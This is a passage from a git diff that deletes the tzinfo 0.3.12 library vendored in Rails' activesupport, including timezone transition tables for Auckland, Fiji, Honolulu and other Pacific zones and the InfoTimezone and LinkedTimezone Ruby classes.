-          tz.transition 2001, 3, :o3, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o3, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o3, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o3, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o3, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o3, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o3, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o3, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o3, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o3, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o3, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o3, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o3, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o3, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o3, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o3, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o3, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o3, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o3, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o3, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o3, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o3, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o3, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o3, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o3, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o3, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o3, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o3, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o3, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o3, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o3, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o3, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o3, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o3, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o3, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o3, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o3, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o3, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o3, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o3, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o3, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o3, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o3, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o3, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o3, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o3, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o3, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o3, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o3, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o3, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb
deleted file mode 100644
index ecdd903d..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Zagreb.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Zagreb
-        include TimezoneDefinition
-        
-        linked_timezone 'Europe/Zagreb', 'Europe/Belgrade'
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb
deleted file mode 100644
index a524fd6b..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Auckland.rb
+++ /dev/null
@@ -1,202 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Auckland
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Auckland' do |tz|
-          tz.offset :o0, 41944, 0, :LMT
-          tz.offset :o1, 41400, 0, :NZMT
-          tz.offset :o2, 41400, 3600, :NZST
-          tz.offset :o3, 41400, 1800, :NZST
-          tz.offset :o4, 43200, 0, :NZST
-          tz.offset :o5, 43200, 3600, :NZDT
-          
-          tz.transition 1868, 11, :o1, 25959290557, 10800
-          tz.transition 1927, 11, :o2, 116409125, 48
-          tz.transition 1928, 3, :o1, 38804945, 16
-          tz.transition 1928, 10, :o3, 116425589, 48
-          tz.transition 1929, 3, :o1, 29108245, 12
-          tz.transition 1929, 10, :o3, 116443061, 48
-          tz.transition 1930, 3, :o1, 29112613, 12
-          tz.transition 1930, 10, :o3, 116460533, 48
-          tz.transition 1931, 3, :o1, 29116981, 12
-          tz.transition 1931, 10, :o3, 116478005, 48
-          tz.transition 1932, 3, :o1, 29121433, 12
-          tz.transition 1932, 10, :o3, 116495477, 48
-          tz.transition 1933, 3, :o1, 29125801, 12
-          tz.transition 1933, 10, :o3, 116512949, 48
-          tz.transition 1934, 4, :o1, 29130673, 12
-          tz.transition 1934, 9, :o3, 116530085, 48
-          tz.transition 1935, 4, :o1, 29135041, 12
-          tz.transition 1935, 9, :o3, 116547557, 48
-          tz.transition 1936, 4, :o1, 29139409, 12
-          tz.transition 1936, 9, :o3, 116565029, 48
-          tz.transition 1937, 4, :o1, 29143777, 12
-          tz.transition 1937, 9, :o3, 116582501, 48
-          tz.transition 1938, 4, :o1, 29148145, 12
-          tz.transition 1938, 9, :o3, 116599973, 48
-          tz.transition 1939, 4, :o1, 29152597, 12
-          tz.transition 1939, 9, :o3, 116617445, 48
-          tz.transition 1940, 4, :o1, 29156965, 12
-          tz.transition 1940, 9, :o3, 116635253, 48
-          tz.transition 1945, 12, :o4, 2431821, 1
-          tz.transition 1974, 11, :o5, 152632800
-          tz.transition 1975, 2, :o4, 162309600
-          tz.transition 1975, 10, :o5, 183477600
-          tz.transition 1976, 3, :o4, 194968800
-          tz.transition 1976, 10, :o5, 215532000
-          tz.transition 1977, 3, :o4, 226418400
-          tz.transition 1977, 10, :o5, 246981600
-          tz.transition 1978, 3, :o4, 257868000
-          tz.transition 1978, 10, :o5, 278431200
-          tz.transition 1979, 3, :o4, 289317600
-          tz.transition 1979, 10, :o5, 309880800
-          tz.transition 1980, 3, :o4, 320767200
-          tz.transition 1980, 10, :o5, 341330400
-          tz.transition 1981, 2, :o4, 352216800
-          tz.transition 1981, 10, :o5, 372780000
-          tz.transition 1982, 3, :o4, 384271200
-          tz.transition 1982, 10, :o5, 404834400
-          tz.transition 1983, 3, :o4, 415720800
-          tz.transition 1983, 10, :o5, 436284000
-          tz.transition 1984, 3, :o4, 447170400
-          tz.transition 1984, 10, :o5, 467733600
-          tz.transition 1985, 3, :o4, 478620000
-          tz.transition 1985, 10, :o5, 499183200
-          tz.transition 1986, 3, :o4, 510069600
-          tz.transition 1986, 10, :o5, 530632800
-          tz.transition 1987, 2, :o4, 541519200
-          tz.transition 1987, 10, :o5, 562082400
-          tz.transition 1988, 3, :o4, 573573600
-          tz.transition 1988, 10, :o5, 594136800
-          tz.transition 1989, 3, :o4, 605023200
-          tz.transition 1989, 10, :o5, 623772000
-          tz.transition 1990, 3, :o4, 637682400
-          tz.transition 1990, 10, :o5, 655221600
-          tz.transition 1991, 3, :o4, 669132000
-          tz.transition 1991, 10, :o5, 686671200
-          tz.transition 1992, 3, :o4, 700581600
-          tz.transition 1992, 10, :o5, 718120800
-          tz.transition 1993, 3, :o4, 732636000
-          tz.transition 1993, 10, :o5, 749570400
-          tz.transition 1994, 3, :o4, 764085600
-          tz.transition 1994, 10, :o5, 781020000
-          tz.transition 1995, 3, :o4, 795535200
-          tz.transition 1995, 9, :o5, 812469600
-          tz.transition 1996, 3, :o4, 826984800
-          tz.transition 1996, 10, :o5, 844524000
-          tz.transition 1997, 3, :o4, 858434400
-          tz.transition 1997, 10, :o5, 875973600
-          tz.transition 1998, 3, :o4, 889884000
-          tz.transition 1998, 10, :o5, 907423200
-          tz.transition 1999, 3, :o4, 921938400
-          tz.transition 1999, 10, :o5, 938872800
-          tz.transition 2000, 3, :o4, 953388000
-          tz.transition 2000, 9, :o5, 970322400
-          tz.transition 2001, 3, :o4, 984837600
-          tz.transition 2001, 10, :o5, 1002376800
-          tz.transition 2002, 3, :o4, 1016287200
-          tz.transition 2002, 10, :o5, 1033826400
-          tz.transition 2003, 3, :o4, 1047736800
-          tz.transition 2003, 10, :o5, 1065276000
-          tz.transition 2004, 3, :o4, 1079791200
-          tz.transition 2004, 10, :o5, 1096725600
-          tz.transition 2005, 3, :o4, 1111240800
-          tz.transition 2005, 10, :o5, 1128175200
-          tz.transition 2006, 3, :o4, 1142690400
-          tz.transition 2006, 9, :o5, 1159624800
-          tz.transition 2007, 3, :o4, 1174140000
-          tz.transition 2007, 9, :o5, 1191074400
-          tz.transition 2008, 4, :o4, 1207404000
-          tz.transition 2008, 9, :o5, 1222524000
-          tz.transition 2009, 4, :o4, 1238853600
-          tz.transition 2009, 9, :o5, 1253973600
-          tz.transition 2010, 4, :o4, 1270303200
-          tz.transition 2010, 9, :o5, 1285423200
-          tz.transition 2011, 4, :o4, 1301752800
-          tz.transition 2011, 9, :o5, 1316872800
-          tz.transition 2012, 3, :o4, 1333202400
-          tz.transition 2012, 9, :o5, 1348927200
-          tz.transition 2013, 4, :o4, 1365256800
-          tz.transition 2013, 9, :o5, 1380376800
-          tz.transition 2014, 4, :o4, 1396706400
-          tz.transition 2014, 9, :o5, 1411826400
-          tz.transition 2015, 4, :o4, 1428156000
-          tz.transition 2015, 9, :o5, 1443276000
-          tz.transition 2016, 4, :o4, 1459605600
-          tz.transition 2016, 9, :o5, 1474725600
-          tz.transition 2017, 4, :o4, 1491055200
-          tz.transition 2017, 9, :o5, 1506175200
-          tz.transition 2018, 3, :o4, 1522504800
-          tz.transition 2018, 9, :o5, 1538229600
-          tz.transition 2019, 4, :o4, 1554559200
-          tz.transition 2019, 9, :o5, 1569679200
-          tz.transition 2020, 4, :o4, 1586008800
-          tz.transition 2020, 9, :o5, 1601128800
-          tz.transition 2021, 4, :o4, 1617458400
-          tz.transition 2021, 9, :o5, 1632578400
-          tz.transition 2022, 4, :o4, 1648908000
-          tz.transition 2022, 9, :o5, 1664028000
-          tz.transition 2023, 4, :o4, 1680357600
-          tz.transition 2023, 9, :o5, 1695477600
-          tz.transition 2024, 4, :o4, 1712412000
-          tz.transition 2024, 9, :o5, 1727532000
-          tz.transition 2025, 4, :o4, 1743861600
-          tz.transition 2025, 9, :o5, 1758981600
-          tz.transition 2026, 4, :o4, 1775311200
-          tz.transition 2026, 9, :o5, 1790431200
-          tz.transition 2027, 4, :o4, 1806760800
-          tz.transition 2027, 9, :o5, 1821880800
-          tz.transition 2028, 4, :o4, 1838210400
-          tz.transition 2028, 9, :o5, 1853330400
-          tz.transition 2029, 3, :o4, 1869660000
-          tz.transition 2029, 9, :o5, 1885384800
-          tz.transition 2030, 4, :o4, 1901714400
-          tz.transition 2030, 9, :o5, 1916834400
-          tz.transition 2031, 4, :o4, 1933164000
-          tz.transition 2031, 9, :o5, 1948284000
-          tz.transition 2032, 4, :o4, 1964613600
-          tz.transition 2032, 9, :o5, 1979733600
-          tz.transition 2033, 4, :o4, 1996063200
-          tz.transition 2033, 9, :o5, 2011183200
-          tz.transition 2034, 4, :o4, 2027512800
-          tz.transition 2034, 9, :o5, 2042632800
-          tz.transition 2035, 3, :o4, 2058962400
-          tz.transition 2035, 9, :o5, 2074687200
-          tz.transition 2036, 4, :o4, 2091016800
-          tz.transition 2036, 9, :o5, 2106136800
-          tz.transition 2037, 4, :o4, 2122466400
-          tz.transition 2037, 9, :o5, 2137586400
-          tz.transition 2038, 4, :o4, 29586205, 12
-          tz.transition 2038, 9, :o5, 29588305, 12
-          tz.transition 2039, 4, :o4, 29590573, 12
-          tz.transition 2039, 9, :o5, 29592673, 12
-          tz.transition 2040, 3, :o4, 29594941, 12
-          tz.transition 2040, 9, :o5, 29597125, 12
-          tz.transition 2041, 4, :o4, 29599393, 12
-          tz.transition 2041, 9, :o5, 29601493, 12
-          tz.transition 2042, 4, :o4, 29603761, 12
-          tz.transition 2042, 9, :o5, 29605861, 12
-          tz.transition 2043, 4, :o4, 29608129, 12
-          tz.transition 2043, 9, :o5, 29610229, 12
-          tz.transition 2044, 4, :o4, 29612497, 12
-          tz.transition 2044, 9, :o5, 29614597, 12
-          tz.transition 2045, 4, :o4, 29616865, 12
-          tz.transition 2045, 9, :o5, 29618965, 12
-          tz.transition 2046, 3, :o4, 29621233, 12
-          tz.transition 2046, 9, :o5, 29623417, 12
-          tz.transition 2047, 4, :o4, 29625685, 12
-          tz.transition 2047, 9, :o5, 29627785, 12
-          tz.transition 2048, 4, :o4, 29630053, 12
-          tz.transition 2048, 9, :o5, 29632153, 12
-          tz.transition 2049, 4, :o4, 29634421, 12
-          tz.transition 2049, 9, :o5, 29636521, 12
-          tz.transition 2050, 4, :o4, 29638789, 12
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb
deleted file mode 100644
index 5fe9bbd9..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Fiji.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Fiji
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Fiji' do |tz|
-          tz.offset :o0, 42820, 0, :LMT
-          tz.offset :o1, 43200, 0, :FJT
-          tz.offset :o2, 43200, 3600, :FJST
-          
-          tz.transition 1915, 10, :o1, 10457838739, 4320
-          tz.transition 1998, 10, :o2, 909842400
-          tz.transition 1999, 2, :o1, 920124000
-          tz.transition 1999, 11, :o2, 941896800
-          tz.transition 2000, 2, :o1, 951573600
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb
deleted file mode 100644
index d4c1a0a6..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Guam.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Guam
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Guam' do |tz|
-          tz.offset :o0, -51660, 0, :LMT
-          tz.offset :o1, 34740, 0, :LMT
-          tz.offset :o2, 36000, 0, :GST
-          tz.offset :o3, 36000, 0, :ChST
-          
-          tz.transition 1844, 12, :o1, 1149567407, 480
-          tz.transition 1900, 12, :o2, 1159384847, 480
-          tz.transition 2000, 12, :o3, 977493600
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb
deleted file mode 100644
index 204b2265..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Honolulu.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Honolulu
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Honolulu' do |tz|
-          tz.offset :o0, -37886, 0, :LMT
-          tz.offset :o1, -37800, 0, :HST
-          tz.offset :o2, -37800, 3600, :HDT
-          tz.offset :o3, -37800, 3600, :HWT
-          tz.offset :o4, -37800, 3600, :HPT
-          tz.offset :o5, -36000, 0, :HST
-          
-          tz.transition 1900, 1, :o1, 104328926143, 43200
-          tz.transition 1933, 4, :o2, 116505265, 48
-          tz.transition 1933, 5, :o1, 116506271, 48
-          tz.transition 1942, 2, :o3, 116659201, 48
-          tz.transition 1945, 8, :o4, 58360379, 24
-          tz.transition 1945, 9, :o1, 116722991, 48
-          tz.transition 1947, 6, :o5, 116752561, 48
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb
deleted file mode 100644
index 32adad92..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Majuro.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Majuro
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Majuro' do |tz|
-          tz.offset :o0, 41088, 0, :LMT
-          tz.offset :o1, 39600, 0, :MHT
-          tz.offset :o2, 43200, 0, :MHT
-          
-          tz.transition 1900, 12, :o1, 1086923261, 450
-          tz.transition 1969, 9, :o2, 58571881, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb
deleted file mode 100644
index 97784fcc..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Midway.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Midway
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Midway' do |tz|
-          tz.offset :o0, -42568, 0, :LMT
-          tz.offset :o1, -39600, 0, :NST
-          tz.offset :o2, -39600, 3600, :NDT
-          tz.offset :o3, -39600, 0, :BST
-          tz.offset :o4, -39600, 0, :SST
-          
-          tz.transition 1901, 1, :o1, 26086168721, 10800
-          tz.transition 1956, 6, :o2, 58455071, 24
-          tz.transition 1956, 9, :o1, 29228627, 12
-          tz.transition 1967, 4, :o3, 58549967, 24
-          tz.transition 1983, 11, :o4, 439038000
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb
deleted file mode 100644
index 70173db8..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Noumea.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Noumea
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Noumea' do |tz|
-          tz.offset :o0, 39948, 0, :LMT
-          tz.offset :o1, 39600, 0, :NCT
-          tz.offset :o2, 39600, 3600, :NCST
-          
-          tz.transition 1912, 1, :o1, 17419781071, 7200
-          tz.transition 1977, 12, :o2, 250002000
-          tz.transition 1978, 2, :o1, 257342400
-          tz.transition 1978, 12, :o2, 281451600
-          tz.transition 1979, 2, :o1, 288878400
-          tz.transition 1996, 11, :o2, 849366000
-          tz.transition 1997, 3, :o1, 857228400
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb
deleted file mode 100644
index c8fcd7d5..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Pago_Pago.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Pago_Pago
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Pago_Pago' do |tz|
-          tz.offset :o0, 45432, 0, :LMT
-          tz.offset :o1, -40968, 0, :LMT
-          tz.offset :o2, -41400, 0, :SAMT
-          tz.offset :o3, -39600, 0, :NST
-          tz.offset :o4, -39600, 0, :BST
-          tz.offset :o5, -39600, 0, :SST
-          
-          tz.transition 1879, 7, :o1, 2889041969, 1200
-          tz.transition 1911, 1, :o2, 2902845569, 1200
-          tz.transition 1950, 1, :o3, 116797583, 48
-          tz.transition 1967, 4, :o4, 58549967, 24
-          tz.transition 1983, 11, :o5, 439038000
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb
deleted file mode 100644
index f06cf6d5..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Port_Moresby.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Port_Moresby
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Port_Moresby' do |tz|
-          tz.offset :o0, 35320, 0, :LMT
-          tz.offset :o1, 35312, 0, :PMMT
-          tz.offset :o2, 36000, 0, :PGT
-          
-          tz.transition 1879, 12, :o1, 5200664597, 2160
-          tz.transition 1894, 12, :o2, 13031248093, 5400
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb
deleted file mode 100644
index 7578d92f..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Pacific/Tongatapu.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Pacific
-      module Tongatapu
-        include TimezoneDefinition
-        
-        timezone 'Pacific/Tongatapu' do |tz|
-          tz.offset :o0, 44360, 0, :LMT
-          tz.offset :o1, 44400, 0, :TOT
-          tz.offset :o2, 46800, 0, :TOT
-          tz.offset :o3, 46800, 3600, :TOST
-          
-          tz.transition 1900, 12, :o1, 5217231571, 2160
-          tz.transition 1940, 12, :o2, 174959639, 72
-          tz.transition 1999, 10, :o3, 939214800
-          tz.transition 2000, 3, :o2, 953384400
-          tz.transition 2000, 11, :o3, 973342800
-          tz.transition 2001, 1, :o2, 980596800
-          tz.transition 2001, 11, :o3, 1004792400
-          tz.transition 2002, 1, :o2, 1012046400
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb
deleted file mode 100644
index 001303c5..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/info_timezone.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'tzinfo/timezone'
-
-module TZInfo
-
-  # A Timezone based on a TimezoneInfo.
-  class InfoTimezone < Timezone #:nodoc:
-    
-    # Constructs a new InfoTimezone with a TimezoneInfo instance.
-    def self.new(info)      
-      tz = super()
-      tz.send(:setup, info)
-      tz
-    end
-    
-    # The identifier of the timezone, e.g. "Europe/Paris".
-    def identifier
-      @info.identifier
-    end
-    
-    protected
-      # The TimezoneInfo for this Timezone.
-      def info
-        @info
-      end
-          
-      def setup(info)
-        @info = info
-      end
-  end    
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb
deleted file mode 100644
index f8ec4fca..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/linked_timezone.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'tzinfo/info_timezone'
-
-module TZInfo
-
-  class LinkedTimezone < InfoTimezone #:nodoc:
-    # Returns the TimezonePeriod for the given UTC time. utc can either be
-    # a DateTime, Time or integer timestamp (Time.to_i). Any timezone 
-    # information in utc is ignored (it is treated as a UTC time).        
-    #
-    # If no TimezonePeriod could be found, PeriodNotFound is raised.
-    def period_for_utc(utc)
-      @linked_timezone.period_for_utc(utc)
-    end
-    
-    # Returns the set of TimezonePeriod instances that are valid for the given
-    # local time as an array. If you just want a single period, use 
-    # period_for_local instead and specify how abiguities should be resolved.
-    # Raises PeriodNotFound if no periods are found for the given time.
-    def periods_for_local(local)
-      @linked_timezone.periods_for_local(local)
-    end
-    
-    protected
-      def setup(info)
-        super(info)
